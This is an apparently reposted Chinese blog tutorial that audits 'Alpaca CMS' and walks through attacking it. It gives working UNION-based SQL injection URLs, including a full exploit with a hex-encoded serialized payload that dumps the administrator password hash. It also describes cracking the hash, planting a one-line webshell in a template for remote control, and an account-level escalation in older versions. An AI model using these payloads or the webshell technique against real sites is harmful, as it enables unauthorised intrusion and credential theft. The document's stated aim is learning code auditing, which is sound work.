点击这里给我发消息 点击这里给我发消息

羊驼CMS 注入及getwebshell 代码审计学习

添加时间:2013-12-7
    相关阅读: 开发 模板 程序 框架 站长 VC 网站
 最近在研究代码审计,便去chinaz 找了个人气比较高的 cms,本文适合我等刚入门滴人士

 

 

Ue批量查了一下源码  整个系统都在注入  注入

 

额,单引号啊,还需要绕过,开gpc就惨了,然而,发现这个伟大的cms,竟然自动去除gpc …

view source01 // 去除Magic_Quotes 

02 if(get_magic_quotes_gpc()) // Maybe would be removed in php6 

03   

04 { 

05   

06 function stripslashes_deep($value)5{ 

07   

08 $value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null); 

09   

10 return $value; 

11   

12 } 

13   

14 $_POST = stripslashes_deep($_POST); 

15   

16 $_GET = stripslashes_deep($_GET); 

17   

18 11$_COOKIE = stripslashes_deep($_COOKIE); 

19   

20 }

前台开始注射

http://127.0.0.1/coder/alpaca/index.php/page/18/

对应的sql语句为

view source1 select count(*) as a from `elem` where 1 and rel_id=’18′

当我们提交

view source1 http://127.0.0.1/coder/alpaca/index.php/page/a’

sql语句

view source1 select * from `elem` where 1 and lower(elem_name) = lower(‘a”)

这里是一个经典的联合查询   本来还在想怎么绕过gpc的  没想到自动去除鸟

直接提交

view source1 http://127.0.0.1/coder/alpaca/index.php/page/a’) AND 1 =2 UNION SELECT 1 ,2,3, 4,5,6, 7, 8, 9,username,PASSWORD FROM user %23

发现什么都木有

看源码  appvelempage.php  其实里面很多源码还是写的很巧妙的

view source01 if(!is_array($page)) show_404(); 

02 $pid = $page['id']; 

03 if( $action == 'add' ) { 

04 $this->add($pid); 

05 return; 

06 } 

07   

08 $info = unserialize($page['elem_info']); 

09 $meta = array( 

10 'page_title' => isset($info['page_title'])&&$info['page_title']!=''?$info['page_title']:$page['title'], 

11 'meta_keywords' => isset($info['meta_keywords'])&&$info['meta_keywords']!=''?$info['meta_keywords']:$page['title'], 

12 'meta_description' => isset($info['meta_description'])&&$info['meta_description']!=''?$info['meta_description']:$page['title'] 

13 ); 

14 $param = array_merge($page , $info , $meta  );

需要一个$page['elem_info']那我就在六号位写一个  仿照官方的  elem_info (十六进制)

得到 exp

view source1 http://127.0.0.1/coder/alpaca/index.php/page/a') AND 1 =2 UNION SELECT 18,PASSWORD ,'page',10,1,0x613A31353A7B733A353A226D6F64656C223B733A313A2238223B733A333A22706963223B733A37303A22687474703A2F2F79752E6232342F616C70616361332E312F757066696C652F696D6167652F32303132303432312F32303132303432313030303135315F34363936352E6A7067223B733A353A227072696365223B733A333A22333030223B733A373A22636F6E74656E74223B733A303A22223B733A31303A22706167655F7469746C65223B733A303A22223B733A31333A226D6574615F6B6579776F726473223B733A303A22223B733A31363A226D6574615F6465736372697074696F6E223B733A303A22223B733A383A2274656D706C617465223B733A313A2230223B733A363A226C61796F7574223B733A313A2239223B733A393A22706167655F73697A65223B733A323A223230223B733A31343A226368696C645F74656D706C617465223B733A313A2230223B733A31323A226368696C645F6C61796F7574223B733A313A2232223B733A31313A226368696C645F6D6F64656C223B733A313A2231223B733A31313A22757365725F62726F777365223B733A313A2230223B733A383A22757365725F616464223B733A323A223130223B7D, 7, "1334937721","1334937721", 10,11 FROM user %23/

成功爆出  管理员密码

把上面的  password 改为 username   爆出管理员账号 拿 shell

破解md5  进后台  模板写入一句话 拿他妈的shell    模板  直接写入一句话  (需要把修改的设为默认模板)
菜刀连接之

 

本来到这里就可以了   但却意外发现一个狗血的 东东  仅供娱乐    请看下文

******************************淫荡的分割线************************************

现在睁大您的钛合金狗眼,我们来看低版本的 2.x,  点击注册 /user/reg/

 

Let  me  try

 

然后在登陆后台   www.xxx.com/admin

 

把级别调为20   注册就是管理员   阁下是否感到菊花一紧了…

******************************淫荡的分割线************************************

后记

这厮的作者php水平非常高,采用自主开发的b2core MVC  框架,里面代码 多处值得学习,但作者安全意识太差,里面都很多明显漏洞,后台可以直接写一句话拿shell,也是为俺这样的新手提供锻炼的机会。

编辑点评:开源CMS程序的安全配置一直是网站站长们研究的问题,但是选择一个正确安全的CMS更为重要!

 

咨询热线:020-85648757 85648755 85648616 0755-27912581 客服:020-85648756 0755-27912581 业务传真:020-32579052
广州市网景网络科技有限公司 Copyright◎2003-2008 Veelink.com. All Rights Reserved.
广州商务地址:广东省广州市黄埔大道中203号(海景园区)海景花园C栋501室
= 深圳商务地址:深圳市宝源路华丰宝源大厦606
研发中心:广东广州市天河软件园海景园区 粤ICP备05103322号 工商注册